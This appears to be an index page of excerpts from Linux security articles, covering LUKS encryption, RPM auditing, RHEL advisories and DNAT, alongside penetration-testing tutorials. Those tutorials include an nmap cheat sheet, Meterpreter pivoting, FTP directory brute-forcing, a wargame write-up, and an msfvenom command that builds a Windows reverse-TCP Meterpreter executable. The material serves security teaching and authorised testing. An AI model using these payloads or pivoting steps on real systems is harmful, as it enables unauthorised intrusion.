Security

In Block-Level Disk Encryption with LUKS, we explored interactive unlocking via passphrases. However, on unattended servers, secondary data drives or database volumes must frequently unlock and mount automatically during system boot without manual console intervention. This guide outlines configuring keyfile-based authentication for LUKS partitions using /etc/crypttab and /etc/fstab. Security Architecture Note: Storing a plaintext decryption key on the same machine that hosts the encrypted data protects against drive theft (decommissioning or drive pulling), but does not protect against complete machine theft where the root filesystem is unencrypted. Ensure your root partition is also protected or store the key on a dedicated hardware token / TPM / networked keyserver. ...

Linux Unified Key Setup (LUKS) is the standard specification for Linux block-device encryption. Implemented via the dm-crypt kernel module and managed with cryptsetup, LUKS provides transparent disk encryption below the filesystem layer. This guide walks through creating an encrypted partition on a storage device, initializing the LUKS header, formatting the decrypted mapping, and managing its mount lifecycle. Step 1: Partitioning the Target Disk Identify your target drive (e.g., /dev/sdb) using lsblk or fdisk -l. Use fdisk or parted to create a partition: ...

Installing software packages from untrusted third-party repositories poses substantial security risks. In RPM-based systems (RHEL, CentOS, Fedora), an RPM is not merely an archive of binaries—it contains cryptographic signatures, file digests, and embedded shell scripts (“scriptlets”) that execute with full root privileges during installation and removal. Here is how to audit RPM package integrity and inspect scriptlets prior to execution. 1. Auditing Installed GPG Keys When YUM/DNF installs signed packages, it checks them against GPG public keys registered in the local RPM database. ...

Red Hat Enterprise Linux (RHEL) and derivative distributions classify package fixes into structured advisories: RHSA (Red Hat Security Advisory): Contains fixes for security vulnerabilities and assigned CVEs. RHBA (Red Hat Bug Advisory): Contains stability, performance, and bug fixes. RHEA (Red Hat Enhancement Advisory): Introduces non-critical product enhancements or feature additions. Using the yum-plugin-security extension (standard in RHEL 6/7 and integrated directly into dnf on RHEL 8/9), system administrators can audit and apply security-only patches without risking unexpected major version upgrades. ...

Nmap (“Network Mapper”) is the industry standard for network discovery, port scanning, and vulnerability surface mapping. This cheat sheet compiles the most critical scanning flags categorized by operational objective. 1. Host Discovery (Ping Sweeps) Determine which hosts are alive on a target network without performing full port scans: # ICMP Echo Request nmap -sn -PE <target_range> # ICMP Timestamp & Address Mask Requests nmap -sn -PP <target_range> nmap -sn -PM <target_range> # ARP Ping (fastest for local subnet discovery) nmap -sn -PR <local_subnet> # TCP SYN / ACK Ping (probes ports without full scan) nmap -sn -PS22,80,443 <target_range> nmap -sn -PA80,443 <target_range> 2. Core Port Scanning Techniques Flag Scan Type Description -sS TCP SYN (Stealth) Default scan. Sends SYN, receives SYN/ACK, then sends RST without completing handshake. Stealthy and fast. -sT TCP Connect Completes the full 3-way handshake (connect() syscall). Used when unprivileged or behind strict proxies. -sU UDP Scan Probes UDP endpoints (DNS, SNMP, NTP, DHCP). Slower because closed ports return ICMP port unreachable. -sV Version Detection Interrogates open ports to determine service name and version numbers. -sA TCP ACK Scan Maps firewall rules and state tables (determines filtered vs. unfiltered ports). -sW TCP Window Scan Exploits anomalies in TCP Window sizes of certain OS implementations. # Typical comprehensive scan: nmap -sS -sV -sC -O -p- -T4 <target> 3. Advanced & Inverse TCP Scans (Bypassing Stateless Firewalls) Inverse scans manipulate TCP header flags (RFC 793). Open ports drop the packet without reply, whereas closed ports respond with a RST: ...

During penetration tests and red team operations, an initial compromised foothold often resides in a perimeter network (DMZ) or employee subnet. These dual-homed hosts can act as springboards (pivots) to reach isolated internal segments unreachable from your attack workstation. The Network Scenario Attacker Workstation: 10.0.0.5 Compromised Host (Dual-Homed Foothold): External NIC: 10.0.0.10 Internal Private Subnet NIC: 10.0.2.15 Internal Target Host (Isolated): 10.0.2.30 Step 1: Internal Subnet Discovery (arp_scanner) From your active Meterpreter session on the compromised host, discover live hosts on the internal 10.0.2.0/24 subnet using ARP requests: ...

In honeypot deployments, captive portals, or specialized traffic inspection environments, administrators often need to forward all incoming traffic—regardless of destination port—to a single listening service (such as an HTTP inspection proxy or logging daemon). This can be accomplished at line rate within the Linux kernel using Netfilter Destination NAT (DNAT) via iptables. Redirecting Inbound Port Ranges via DNAT To redirect all incoming TCP traffic across ports 1 through 65535 arriving on interface eth0 to an internal service listening on port 80 at 192.168.1.10: ...

msfvenom is Metasploit’s command-line payload generation and encoding utility (combining the legacy msfpayload and msfencode tools). It outputs shellcode across hundreds of formats including C arrays, raw binaries, and standalone executables (PE, ELF, Mach-O). Generating a Standard Windows Reverse TCP Executable To generate an x86 staged Meterpreter payload packaged as a standalone 32-bit Windows .exe: msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=192.168.1.10 \ LPORT=4444 \ -a x86 --platform windows \ -f exe -o payload.exe Inspect the generated binary with file: ...

During penetration testing assessments, FTP services (such as vsftpd or ProFTPD) are sometimes configured to disable directory listings (LIST or NLST commands return 550 Access is denied). While users cannot browse the file hierarchy interactively, read and traversal permissions may still allow direct path navigation (CWD) and file retrieval (RETR). In such “blind” scenarios, dictionary-based brute forcing reveals hidden folders and downloadable assets. 1. Directory Fuzzing via CWD This Python script tests candidate directory names against the FTP server using the CWD (Change Working Directory) command. If the directory exists and permissions permit traversal, the server returns a positive status code rather than error_perm (550). ...

Level 6 on the Smash The Stack IO wargame takes two command-line arguments (username and password) and prints a greeting: level6@io:/levels$ ./level06 user pass Hi user Notice that the application checks the LANG environment variable to determine which greeting to print: level6@io:/levels$ export LANG=fr level6@io:/levels$ ./level06 user pass Bienvenue user level6@io:/levels$ export LANG=de level6@io:/levels$ ./level06 user pass Willkommen user Vulnerability Analysis The program structure internally organizes credentials into a record: ...